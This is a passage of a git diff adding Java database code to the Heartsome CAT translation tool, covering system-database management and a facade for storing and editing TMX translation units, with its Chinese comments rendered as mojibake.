logger.warn(Messages.getString("database.SystemDBOperator.logger3"), e); + return false; + } catch (SQLException e) { + logger.warn("", e); + return false; + } finally { + freeConnection(stmt, conn); + } + return true; + } + + /** + * æ’入系统库 + * @param dbName + * æ•°æ®åº“å称 + * @param quality + * 是å¦ä¼˜åŒ– + */ + public void addSysDb(String dbName, String quality,int type) { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return; + } + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + Connection conn = null; + PreparedStatement stmt = null; + try { + conn = getConnection(driver, url, prop); + String insertDb = Utils.replaceParams(dbConfig.getInsertSysDb(), data); + stmt = conn.prepareStatement(insertDb); + stmt.setString(1, dbName); + stmt.setString(2, quality); + stmt.setInt(3, type); + stmt.execute(); + } catch (ClassNotFoundException e) { + logger.warn("", e); + } catch (SQLException e) { + logger.warn("", e); + } finally { + freeConnection(stmt, conn); + } + } + + /** + * 删除系统库中ä¿å­˜çš„指定的数æ®åº“ + * @param dbName + * @throws SQLException + */ + public void removeSysDb(String dbName) throws SQLException { + Connection conn = null; + PreparedStatement pstmt = null; + String driver = dbConfig.getDriver(); + metaData.setDatabaseName(Constants.HSSYSDB); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // åˆ é™¤ç³»ç»Ÿè¡¨ä¸­çš„æ•°æ® + prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + try { + conn = getConnection(driver, url, prop); + String removeDb = dbConfig.getRemoveSysDb(); + pstmt = conn.prepareStatement(removeDb); + pstmt.setString(1, dbName); + pstmt.execute(); + } catch (ClassNotFoundException e) { + logger.warn("", e); + } finally { + freeConnection(pstmt, conn); + } + } + + /** + * 得到系统库中的存储的数æ®åº“å称 + * @return + * @throws SQLException + */ + public List getSysDbNames(int type) { + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + data.setDatabaseName(Constants.HSSYSDB); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return null; + } + String driver = dbConfig.getDriver(); + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + Connection conn = null; + PreparedStatement stmt = null; + ResultSet rs = null; + List result = new ArrayList(); + try { + conn = getConnection(driver, url, prop); + String sql = dbConfig.getSysDbList(); + stmt = conn.prepareStatement(sql); + stmt.setInt(1, type); + rs = stmt.executeQuery(); + while (rs.next()) { + result.add(rs.getString("DBNAME")); + } + } catch (ClassNotFoundException e) { + logger.warn("", e); + } catch (SQLException e) { + logger.warn("", e); + } finally { + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + freeConnection(stmt, conn); + } + return result; + } + + /** + * 删除指定数æ®åº“ + * @param dbName + * @throws SQLException + */ + public void dropDb(String dbName) throws SQLException { + Connection conn = null; + Statement stmt = null; + String driver = dbConfig.getDriver(); + metaData.setDatabaseName(dbName); + String url = Utils.replaceParams(dbConfig.getDbURL(), metaData); + + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), metaData); + // 删除数æ®åº“ + try { + conn = getConnection(driver, url.substring(0, url.lastIndexOf("/") + 1), prop); + stmt = conn.createStatement(); + String dropDb = Utils.replaceParams(dbConfig.getDropDb(), metaData); + stmt.execute(dropDb); + } catch (ClassNotFoundException e) { + logger.warn("", e); + } finally { + freeConnection(stmt, conn); + } + } + + protected abstract Connection getConnection(String driver, String url, Properties p) throws ClassNotFoundException, + SQLException; + + protected void freeConnection(Statement stmt, Connection conn) { + if (stmt != null) { + try { + stmt.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + if (conn != null) { + try { + conn.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + } + + /** + * å–å¾—æ•°æ®åº“å…ƒæ•°æ® + * @return + */ + public MetaData getMetaData() { + return metaData; + } + + /** + * 设置数æ®åº“å…ƒæ•°æ® + */ + public void setMetaData(MetaData metaData) { + this.metaData = metaData; + } + + /** + * å–å¾—æ•°æ®åº“é…ç½®æ•°æ® + * @return + */ + public DBConfig getDBConfig() { + return dbConfig; + } + + /** + * 检查数æ®åº“在当å‰æœåŠ¡å™¨ä¸Šæ˜¯å¦å·²ç»å­˜åœ¨ï¼Œè€Œéžåœ¨R8系统中已ç»å­˜åœ¨
    + * @return trueå·²ç»å­˜åœ¨.falseä¸å­˜åœ¨ + */ + public boolean checkDbExistOnServer() { + Connection conn = null; + MetaData data = null; + try { + data = (MetaData) metaData.clone(); + } catch (CloneNotSupportedException e) { + logger.warn("", e); + return false; + } + try { + String url = Utils.replaceParams(dbConfig.getDbURL(), data); + String driver = dbConfig.getDriver(); + Properties prop = Utils.replaceParams(dbConfig.getConfigProperty(), data); + conn = getConnection(driver, url, prop); + } catch (ClassNotFoundException e) { + logger.error(Messages.getString("database.SystemDBOperator.logger1"), e); + return false; + } catch (SQLException e) { + // logger.error("", e); + // Just check ,so don't need record the exception + return false; + } finally { + if (conn != null) { + try { + conn.close(); + } catch (SQLException e) { + logger.warn("", e); + } + } + } + return true; + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/TMXDBOperatorFacade.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/TMXDBOperatorFacade.java new file mode 100644 index 0000000..c3e001c --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/TMXDBOperatorFacade.java @@ -0,0 +1,984 @@ +/** + * TMXDBOperatorFacade.java + * + * Version information : + * + * Date:2013-6-3 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database; + +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; + +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.database.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; + +/** + * 注æ„该类æ“作数æ®çš„æ交事务 + * @author yule + * @version + * @since JDK1.6 + */ +public class TMXDBOperatorFacade { + // ----------æ•°æ®åº“里é¢å¯¹åº”列åå­—å¸¸é‡ + public static final String MTUPKID = "MTUPKID"; + + public static final String TUID = "TUID"; + + public static final String CREATIONID = "CREATIONID"; + + public static final String CREATIONDATE = "CREATIONDATE"; + + public static final String CHANGEID = "CHANGEID"; + + public static final String CHANGEDATE = "CHANGEDATE"; + + public static final String CREATIONTOOL = "CREATIONTOOL"; + + public static final String CTVERSION = "CTVERSION"; + + public static final String NNAME = "NNAME"; + + public static final String CONTENT = "CONTENT"; + + public static final String ELEMENT_TYPE = "E"; + + public static final String ARRIBUTE_TYPE = "A"; + + public static final String TEXTDATA_TM_TYPE = "M"; + + public static final String TU_NAME = "TU"; + + public static final String TUV_NAME = "TUV"; + + public static final String HASH = "HASH"; + + public static final String PURE = "PURE"; + + private DBOperator dbOperator; + /** + * TUçš„æºè¯­è¨€ä¸Žç›®æ ‡è¯­è¨€ langs[0]:æºè¯­è¨€ langs[1]:目标语言 + */ + private String[] langs; + + /** + * 如果没有设置语言,默认å–lang表å‰ä¸¤ä¸ªè¯­è¨€å¯¹è®¾ç½®ä¸ºé»˜è®¤è¯­è¨€ + */ + private String[] defaultLangs; + + /** + * + */ + public TMXDBOperatorFacade(DBOperator dbOperator) { + + this.dbOperator = dbOperator; + } + + /** + * 查询数æ®åº“中的TU + * @param tuIdentifier + * TU主键 + * @return ; 一个完整的TU + * @throws SQLException + */ + public TmxTU getTuByIdentifier(int tuIdentifier, boolean isSetPure) throws SQLException { + TmxTU tu = new TmxTU(); + // 1ã€æŸ¥è¯¢TU的主è¦å±žæ€§ + int mHeaderId = 0; + Map tuArributes = dbOperator.getTUByTuPkId(tuIdentifier); + if (null == tuArributes) { + return tu; + } + addTUNormalArributes(tu, tuArributes); + mHeaderId = Integer.parseInt(tuArributes.get("MHPKID")); + // 2ã€æŸ¥è¯¢TU的附加属性 + Map> extraValue = dbOperator.getExtraValue(tuIdentifier, TU_NAME, ARRIBUTE_TYPE); + addTUExArributes(tu, getTUExArributes(extraValue)); + + // 3ã€æŸ¥è¯¢TUçš„prop节点 + List tuMprops = dbOperator.getTuMprops(tuIdentifier, TU_NAME); + addTUProp(tu, tuMprops); + + // 4ã€æŸ¥è¯¢TUçš„note节点 + List tuMNote = dbOperator.getTuMNote(tuIdentifier, TU_NAME); + addTUNotes(tu, tuMNote); + + // 5ã€æŸ¥è¯¢TUçš„æºè¯­è¨€æ–‡æœ¬å’Œç›®æ ‡è¯­è¨€æ–‡æœ¬ + String[] lang = getLang(mHeaderId); + Map source = dbOperator.getTMXSegmentByIdAddLang(tuIdentifier, lang[0]); + Map tgt = dbOperator.getTMXSegmentByIdAddLang(tuIdentifier, lang[1]); + TmxSegement sourceSeg = createTmxSegment(source); + TmxSegement tgtSeg = null; + if (tgt == null) { + tgtSeg = new TmxSegement("", Utils.convertLangCode(lang[1])); + tgtSeg.setDbPk(-1); + } else { + tgtSeg = createTmxSegment(tgt); + } + addTUContent(tu, sourceSeg, tgtSeg); + return tu; + } + + public TmxTU getTuByIdentifierAllLang(int tuIdentifier, boolean isSetPure) throws SQLException { + TmxTU tu = new TmxTU(); + // 1ã€æŸ¥è¯¢TU的主è¦å±žæ€§ + Map tuArributes = dbOperator.getTUByTuPkId(tuIdentifier); + if (null == tuArributes) { + return tu; + } + addTUNormalArributes(tu, tuArributes); + // 2ã€æŸ¥è¯¢TU的附加属性 + Map> extraValue = dbOperator.getExtraValue(tuIdentifier, TU_NAME, ARRIBUTE_TYPE); + addTUExArributes(tu, getTUExArributes(extraValue)); + + // 3ã€æŸ¥è¯¢TUçš„prop节点 + List tuMprops = dbOperator.getTuMprops(tuIdentifier, TU_NAME); + addTUProp(tu, tuMprops); + + // 4ã€æŸ¥è¯¢TUçš„note节点 + List tuMNote = dbOperator.getTuMNote(tuIdentifier, TU_NAME); + addTUNotes(tu, tuMNote); + + // 5ã€æŸ¥è¯¢TUçš„æºè¯­è¨€æ–‡æœ¬å’Œç›®æ ‡è¯­è¨€æ–‡æœ¬ + List allLangs = getAllLangs(); + if (allLangs.isEmpty()) { + return tu; + } + for (String lang : allLangs) { + Map seg = dbOperator.getTMXSegmentByIdAddLang(tuIdentifier, lang); + TmxSegement sourceSeg = createTmxSegment(seg); + if (null == sourceSeg) { + continue; + } + tu.appendSegement(sourceSeg); + } + + return tu; + } + + private List langCache = null; + + private List getAllLangs() throws SQLException { + if (langCache != null) { + return langCache; + } else { + langCache = dbOperator.getLanguages(); + } + return langCache; + } + + /** + * 得到TU的扩展属性值 + * @param extraValue + * @return ; + */ + private Map getTUExArributes(Map> extraValue) { + Collection> values = extraValue.values(); + if (null == values || values.isEmpty()) { + return null; + } + Iterator> iterator = values.iterator(); + Map rs = new HashMap(5); + while (iterator.hasNext()) { + Map next = iterator.next(); + rs.put(next.get(NNAME), next.get(CONTENT)); + } + return rs; + } + + /** + * 添加TU的一般属性 + * @param tu + * 需è¦ä¿®æ”¹çš„TU + * @param tuArributes + * tu的属性值 + * @return ; å‚æ•°çš„tu(修改过åŽçš„值) + */ + private TmxTU addTUNormalArributes(TmxTU tu, Map tuArributes) { + + if (null == tu || null == tuArributes || tuArributes.isEmpty()) { + return tu; + } + + tu.setTmId(Integer.parseInt(tuArributes.get(MTUPKID))); + tu.setTuId(tuArributes.get(TUID)); + + tu.setCreationUser(tuArributes.get(CREATIONID)); + tu.setCreationDate(DateUtils.formatStringTime(tuArributes.get(CREATIONDATE))); + + tu.setChangeUser(tuArributes.get(CHANGEID)); + tu.setChangeDate(DateUtils.formatStringTime(tuArributes.get(CHANGEDATE))); + + tu.setCreationTool(tuArributes.get(CREATIONTOOL)); + tu.setCreationToolVersion(tuArributes.get(CTVERSION)); + + return tu; + } + + /** + * 添加TU的扩展属性 + * @param tu + * @param tuArributes + * @return ; + */ + private TmxTU addTUExArributes(TmxTU tu, Map tuArributes) { + if (null == tu || null == tuArributes || tuArributes.isEmpty()) { + return tu; + } + tu.setAttributes(tuArributes); + return tu; + } + + /** + * 添加TU下é¢PROP 节点 + * @param tu + * @param props + * @return ; + */ + private TmxTU addTUProp(TmxTU tu, List props) { + if (null == tu || null == props || props.isEmpty()) { + return tu; + } + tu.setProps(props); + return tu; + } + + /** + * 添加TU下é¢note节点 + * @param tu + * @param notes + * @return ; + */ + private TmxTU addTUNotes(TmxTU tu, List notes) { + if (null == tu || null == notes || notes.isEmpty()) { + return tu; + } + tu.setNotes(notes); + return tu; + } + + /** + * 添加TUçš„æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€å¯¹ + * @param tu + * @param source + * @param target + * @return ; + */ + private TmxTU addTUContent(TmxTU tu, TmxSegement source, TmxSegement target) { + if (null == tu) { + return tu; + } + if (null != source) { + tu.setSource(source); + } + if (null != target) { + tu.setTarget(target); + } + return tu; + } + + /** + * 创建一个TUV ,åªè®¾ç½®äº†çº¯æ–‡æœ¬å’Œå…¨éƒ¨æ–‡æœ¬ä»¥åŠhashcode的值。 + * @param segment + * @return ; + * @throws SQLException + */ + private TmxSegement createTmxSegment(Map segment) throws SQLException { + if (null == segment || segment.isEmpty()) { + return null; + } + TmxSegement tmxSegment = new TmxSegement(segment.get(CONTENT) == null ? "" : segment.get(CONTENT), + segment.get("LANG")); + tmxSegment.setDbPk(Integer.parseInt(segment.get("TPKID"))); + Map> extraValue = dbOperator.getExtraValue(tmxSegment.getDbPk(), TUV_NAME, + ARRIBUTE_TYPE); + tmxSegment.setAttributes(getTUExArributes(extraValue)); + return tmxSegment; + } + + /** + * @param mnpkid + * TUçš„headerID + * @return ; + * @throws SQLException + */ + private String[] getLang(int mnpkid) throws SQLException { + // 首先选择用户设置的语言 + if (langs != null) { + return langs; + } + + if (defaultLangs != null) { + return defaultLangs; + } + // 从HEAD 中获å–æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ + String temp[] = new String[2]; + defaultLangs = temp; + Map headerinfoById = dbOperator.getHeaderinfoById(mnpkid); + if (null != headerinfoById && !headerinfoById.isEmpty()) { + temp[0] = headerinfoById.get("SRCLANG"); + temp[1] = headerinfoById.get("ADMINLANG"); + return temp; + + } + // 当从header中获å–ä¸åˆ°è¯­è¨€å¯¹æ—¶ï¼Œé»˜è®¤å–Lang表中å‰ä¸¤ä¸ªè¯­è¨€ã€‚ + List languages = dbOperator.getLanguages(); + temp[0] = languages.get(0); + temp[1] = languages.get(1); + return temp; + } + + /** + * 当从数æ®åº“中获å–ä¸åˆ°æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€æ—¶ï¼Œå¯ä»¥è®¾ç½®æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€å°±è¡ŒèŽ·å– + * @param srcLang + * @param tgtLang + * ; + */ + public void setLangs(String srcLang, String tgtLang) { + langs = new String[2]; + langs[0] = srcLang; + langs[1] = tgtLang; + } + + /** + * 添加一个TU到数æ®åº“ + * @param tu + * @throws SQLException + * ; + */ + public int insertTu(TmxTU tu) throws SQLException { + // 1〠添加数æ®åˆ°MTU表中 + // TODO :tu属性时间 + int insertTU = dbOperator.insertTU(0, tu.getTuId(), tu.getCreationUser(), tu.getCreationDate(), + tu.getChangeUser(), tu.getChangeDate(), tu.getCreationTool(), tu.getCreationToolVersion(), null, null, + null); + // need to query from database + String tuNewID = String.valueOf(insertTU); + // 2ã€æ·»åŠ æ•°æ®åˆ°mextra中 + Map attributes = tu.getAttributes(); + if (attributes != null && !attributes.isEmpty()) { + Set> entrySet = attributes.entrySet(); + Iterator> iterator = entrySet.iterator(); + while (iterator.hasNext()) { + Entry next = iterator.next(); + dbOperator.insertTMXExtra(ARRIBUTE_TYPE, next.getKey(), next.getValue(), TU_NAME, tuNewID); + } + } + + // 3ã€æ·»åŠ æ•°æ®åˆ°TMXprop中 + List props = tu.getProps(); + if (null != props && !props.isEmpty()) { + for (TmxProp prop : props) { + dbOperator.insertTMXProp(insertTU, "TU", prop.getName(), null, null, prop.getValue()); + } + } + // 4 ã€æ·»åŠ æ•°æ®åˆ°note中 + List notes = tu.getNotes(); + if (null != notes && !notes.isEmpty()) { + for (TmxNote note : notes) { + dbOperator.insertTMXNote(insertTU, "TU", note.getContent(), null, null, null, null, note.getEncoding(), + note.getXmlLang()); + } + } + + // 5ã€æ·»åŠ æ•°æ®åˆ°1ã€textdata中,2ã€æ›´æ–°lang表,3ã€æ›´æ–°è¯­è¨€ç‰‡æ®µè¡¨ + TmxSegement source = tu.getSource(); + int groupId = insertTU; + if (source != null) { + dbOperator + .insertTextData("M", groupId, String.valueOf(source.getPureText().hashCode()), + source.getPureText(), source.getFullText(), Utils.convertLangCode(source.getLangCode()), + null, null); + } + TmxSegement target = tu.getTarget(); + if (target != null) { + dbOperator + .insertTextData("M", groupId, String.valueOf(target.getPureText().hashCode()), + target.getPureText(), target.getFullText(), Utils.convertLangCode(target.getLangCode()), + null, null); + } + List segments = tu.getSegments(); + if (segments != null && !segments.isEmpty()) { + for (TmxSegement seg : segments) { + dbOperator.insertTextData("M", groupId, String.valueOf(seg.getPureText().hashCode()), + seg.getPureText(), seg.getFullText(), Utils.convertLangCode(seg.getLangCode()), null, null); + } + + } + + return insertTU; + } + + /** + * 删除TU + * @param tu + * @throws SQLException + * ; + */ + public void deleteTu(TmxTU tu, String changeUser) throws SQLException { + int tmId = tu.getTmId(); + String srcLang = tu.getSource().getLangCode(); + String targetLang = tu.getTarget().getLangCode(); + // 0ã€å¯èƒ½åˆ é™¤langè¡¨ä¸­çš„æ•°æ® + if (dbOperator.getLangCountInTextData(srcLang) == 1) { + dbOperator.deleteLang(srcLang); + } + if (dbOperator.getLangCountInTextData(targetLang) == 1) { + dbOperator.deleteLang(targetLang); + } + List list = new ArrayList(3); + + // 1ã€åˆ é™¤textdata表中的 æ•°æ®åˆ é™¤TUVç›¸å…³çš„æ•°æ® + Map textDataValue = dbOperator.getTextDataValue("M", tmId, srcLang); + list.add(Integer.parseInt(textDataValue.get("TPKID"))); + dbOperator.deleteAllTuvRelations(list, srcLang); + list.clear(); + + textDataValue = dbOperator.getTextDataValue("M", tmId, targetLang); + list.add(Integer.parseInt(textDataValue.get("TPKID"))); + dbOperator.deleteAllTuvRelations(list, targetLang); + + // 如果åªåŒ…å«ä¸¤ä¸ªè¯­è¨€å¯¹ï¼Œåˆ é™¤ä¸€ä¸ªTU节点 + // 如果TU包å«ä¸¤ä¸ªä»¥ä¸Šçš„语言对,åªåˆ é™¤ç›®æ ‡è¯­è¨€å’Œæºè¯­è¨€ï¼ˆtuv) + if (tu.getSegments() == null || tu.getSegments().isEmpty()) { + // 4ã€åˆ é™¤TU + dbOperator.deleteTU(tmId); + // 5ã€åˆ é™¤notes + dbOperator.deleteTuNote(tmId, "TU"); + // 6ã€åˆ é™¤prop + dbOperator.deleteTuProp(tmId, "TU"); + // 7ã€åˆ é™¤æ‰©å±•å±žæ€§ + dbOperator.deleteTuExtra(tmId, "TU"); + + } else { + // æ›´æ–°TU的修改时间和修改用户 + updateTuInfo(tmId, changeUser, null); + } + } + + /** + * æ›´æ–°TUV的内容 + * @param groupId + * TUV的组ID + * @param newSegment + * @throws SQLException + * ; + */ + public void updateTUVContent(int groupId, TmxSegement newSegment) throws SQLException { + int tuvId = newSegment.getDbPk(); + if (tuvId == -1) { + String id = dbOperator.insertTextData("M", groupId, String.valueOf(newSegment.getPureText().hashCode()), + newSegment.getPureText(), newSegment.getFullText(), + Utils.convertLangCode(newSegment.getLangCode()), null, null); + newSegment.setDbPk(Integer.parseInt(id)); + return; + } + dbOperator.updateTUVContent(tuvId, String.valueOf(newSegment.getPureText().hashCode()), + newSegment.getPureText(), newSegment.getFullText()); + // æ›´æ–°matrix_lang表,ç›®å‰æš‚时没有更新matrix_langçš„æ•°æ® + dbOperator.updateMatrix_lang(newSegment.getLangCode(), tuvId, newSegment.getPureText()); + } + + /** + * åªæ›´æ–°MTU表 + * @param newTu + * ; + * @throws SQLException + */ + public void updateTU(TmxTU newTu) throws SQLException { + Map params = new HashMap(); + params.put(MTUPKID, String.valueOf(newTu.getTmId())); + params.put(TUID, newTu.getTuId()); + params.put(CREATIONID, newTu.getCreationUser()); + params.put(CREATIONDATE, newTu.getCreationDate()); + params.put(CHANGEID, newTu.getChangeUser()); + params.put(CHANGEDATE, newTu.getChangeDate()); + params.put(CREATIONTOOL, newTu.getCreationTool()); + params.put(CTVERSION, newTu.getCreationToolVersion()); + dbOperator.updateTU(params); + } + + /** + * 添加TUçš„note + * @param tuId + * @param content + * @return ; + * @throws SQLException + */ + public int addTuNote(int tuId, TmxNote newNote) throws SQLException { + int addMNoteId = dbOperator.addMNote(TU_NAME, tuId, newNote.getContent(), newNote.getEncoding(), + newNote.getXmlLang()); + return addMNoteId; + } + + /** + * 删除note + * @param noteid + * @throws SQLException + * ; + */ + public void deleteTuNote(int noteid) throws SQLException { + dbOperator.deleteMNote(noteid); + } + + /** + * æ›´æ–°note里é¢çš„所有字段 + * @param tuId + * @param newNote + * ; + * @throws SQLException + */ + public void updateNote(int tuId, TmxNote newNote) throws SQLException { + int dbPk = newNote.getDbPk(); + String content = newNote.getContent(); + String encoding = newNote.getEncoding(); + String xmlLang = newNote.getXmlLang(); + dbOperator.updateMNote(dbPk, encoding, xmlLang, content); + dbOperator.updateTUChangeDate(tuId, CommonFunction.retTMXDate()); + + } + + /** + * 添加TUçš„prop + * @param tu + * @param propType + * @param newContent + * @return ; + * @throws SQLException + */ + public int addTuProp(int tuId, TmxProp newProp) throws SQLException { + int rs = dbOperator.addMProp(TU_NAME, tuId, newProp.getName(), newProp.getValue()); + return rs; + + } + + /** + * 删除TUçš„prop节点 + * @param propId + * @throws SQLException + * ; + */ + public void deleteTuProp(int propId) throws SQLException { + dbOperator.deleteMProp(propId); + } + + /** + * æ›´æ–°TmxProp里é¢åŒ…å«çš„所有的字段 + * @param tuId + * @param newTmx + * ; + * @throws SQLException + */ + public void updateProp(int tuId, TmxProp newTmx) throws SQLException { + int id = newTmx.getDbPk(); + String pName = newTmx.getName(); + String content = newTmx.getValue(); + dbOperator.updateMProp(id, pName, content); + dbOperator.updateTUChangeDate(tuId, CommonFunction.retTMXDate()); + + } + + /** + * 添加TU的扩展属性 + * @param tu + * @param name + * @param value + * ; + * @throws SQLException + */ + public void addTuAttribute(int tuId, String name, String value) throws SQLException { + dbOperator.addExAttribute(TU_NAME, tuId, name, value); + } + + /** + * 删除TU的属性 + * @param tuId + * @param name + * @throws SQLException + * ; + */ + public void deleteTuAttribute(int tuId, String name) throws SQLException { + dbOperator.deleteExAttribute(tuId, TU_NAME, name); + } + + /** + * 修改属性值 + * @param tuId + * @param name + * @param newvalue + * ; + * @throws SQLException + */ + public void updateTuAttribute(TmxTU newTU) throws SQLException { + updateTU(newTU); + } + + /** + * 添加TUV的扩展属性 + * @param tu + * @param tuv + * @param name + * @param value + * ; + * @throws SQLException + */ + public void addTuvAttribute(int tuvId, String name, String value) throws SQLException { + dbOperator.addExAttribute(TUV_NAME, tuvId, name, value); + } + + /** + * 删除TUV的属性 + * @param tuvId + * @param name + * @throws SQLException + * ; + */ + public void deleteTuvAttibute(int tuvId, String name) throws SQLException { + dbOperator.deleteExAttribute(tuvId, TUV_NAME, name); + } + + /** + * æ›´æ–°TUV的固定属性 + * @param tuvId + * @param name + * @param newValue + * @throws SQLException + * ; + */ + public void updateTUVAttribute(int tuvId, String name, String newValue) throws SQLException { + boolean updateExAttribute = dbOperator.updateExAttribute(tuvId, TUV_NAME, name, newValue); + if (!updateExAttribute) { + dbOperator.addExAttribute(TUV_NAME, tuvId, name, newValue); + } + } + + /** + * 得到TUV中纯文本为空的TUID + * @param tgtLangCode + * @return + * @throws SQLException + * ; + */ + public List getTgtEmptyTU(String tgtLangCode, IProgressMonitor monitor,boolean ignoreTag) throws SQLException { + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + return dbOperator.getEmptyPure(tgtLangCode, monitor,ignoreTag); + } + + /** + * æ交事务 + * @throws SQLException + * ; + */ + public void commit() throws SQLException { + dbOperator.commit(); + } + + /** + * 回滚事务 + * @throws SQLException + * ; + */ + public void rollback() throws SQLException { + dbOperator.rollBack(); + } + + /** + * 设置事务开始 + * @throws SQLException + * ; + */ + public void beginTransaction() throws SQLException { + dbOperator.beginTransaction(); + } + + /** + * 连接数æ®åº“ + * @throws SQLException + * @throws ClassNotFoundException + * ; + */ + public void start() throws SQLException, ClassNotFoundException { + if (dbOperator.getConnection() != null) { + return; + } + dbOperator.start(); + } + + /** + * 释放数æ®åº“èµ„æº + * @throws SQLException + * ; + */ + public void end() throws SQLException { + if (dbOperator.isClosed()) { + return; + } + dbOperator.end(); + } + + /** + * æ›´æ–°TUçš„ä¿¡æ¯ + * @param id + * TU在数æ®åº“中的ID + * @param changeUser + * 如果changeUser==null,ä¸æ›´æ–°ã€‚如果changeUser!=null,æ›´æ–°changeUser + * @param dateTime + * 如果dateTime==null,使用系统当å‰é»˜è®¤å€¼æ›´æ–°ã€‚如果changeUser!=null,使用å‚数值更新 dateTimeæ ¼å¼ä¸ºï¼šxxxxxxxTxxxxZçš„æ ¼å¼ + * @throws SQLException + * ; + */ + public void updateTuInfo(int id, String changeUser, String dateTime) throws SQLException { + if (null != dateTime) { + dbOperator.updateTUChangeDate(id, dateTime); + } else { + dbOperator.updateTUChangeDateUseDefault(id); + } + if (null != changeUser) { + dbOperator.updateTUChangeUser(id, changeUser); + } + + } + + /** + * 批é‡åˆ é™¤TUï¼Œè¯¥æ–¹æ³•å†…éƒ¨è¿›è¡Œäº†äº‹åŠ¡å¤„ç† + * @param tuids + * :需è¦å¤„ç†çš„TU的所有ID值 + * @param srcCode + * :æºè¯­è¨€ä»£ç  + * @param tgtCode + * ï¼šç›®æ ‡è¯­è¨€ä»£ç  + * @param user + * :修改者 + * @param monitor + * :monitor==null ,ä¸è¦è¿›åº¦æ¡ + * @throws SQLException + * ; + */ + public void deleteTuByIds(List tuids, String srcCode, String tgtCode, String user, IProgressMonitor monitor) + throws SQLException { + + if (null == monitor) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 45); + List tupkids4DeleteTus = dbOperator.getTupkids4DeleteTus(tuids); + monitor.worked(3); + List tupkids4DeleteTuv = dbOperator.getTupkids4DeleteTuv(tuids, tupkids4DeleteTus); + monitor.worked(1); + List tuvpkids = dbOperator.getTuvIdsByTuId(tupkids4DeleteTus); + List tuvpkids_signle = dbOperator.getTuvIdsByTuIdAndTgt(tupkids4DeleteTuv, tgtCode); + monitor.worked(2); + dbOperator.beginTransaction(); + // ---------------------Aã€åˆ é™¤åªæœ‰ä¸¤ä¸ªè¯­è¨€å¯¹çš„情况 + // 1ã€åˆ é™¤TU表中的数æ®
    + dbOperator.deleteTUs(tupkids4DeleteTus); + monitor.worked(5); + // 2ã€åˆ é™¤TU的扩展属性(A,E)两ç§ç±»åž‹
    + dbOperator.deleteExValues(tupkids4DeleteTus, TU_NAME); + monitor.worked(5); + // 3ã€åˆ é™¤TUçš„note节点
    + dbOperator.deleteNotes(tupkids4DeleteTus, TU_NAME); + // 4ã€åˆ é™¤TUçš„prop节点:åªå®šä¹‰å±žæ€§
    + monitor.worked(5); + dbOperator.deleteProps(tupkids4DeleteTus, TU_NAME); + monitor.worked(5); + + // 5ã€åˆ é™¤TUV表,包å«äº†åˆ é™¤è¯­è¨€ç‰‡æ®µè¡¨ + dbOperator.deleteTuvMatrixLang(tuvpkids, srcCode, tgtCode); + monitor.worked(5); + dbOperator.deleteExValues(tuvpkids, TUV_NAME); + // 3ã€åˆ é™¤TUçš„note节点
    + monitor.worked(5); + dbOperator.deleteNotes(tuvpkids, TUV_NAME); + monitor.worked(5); + // 4ã€åˆ é™¤TUçš„prop节点:åªå®šä¹‰å±žæ€§
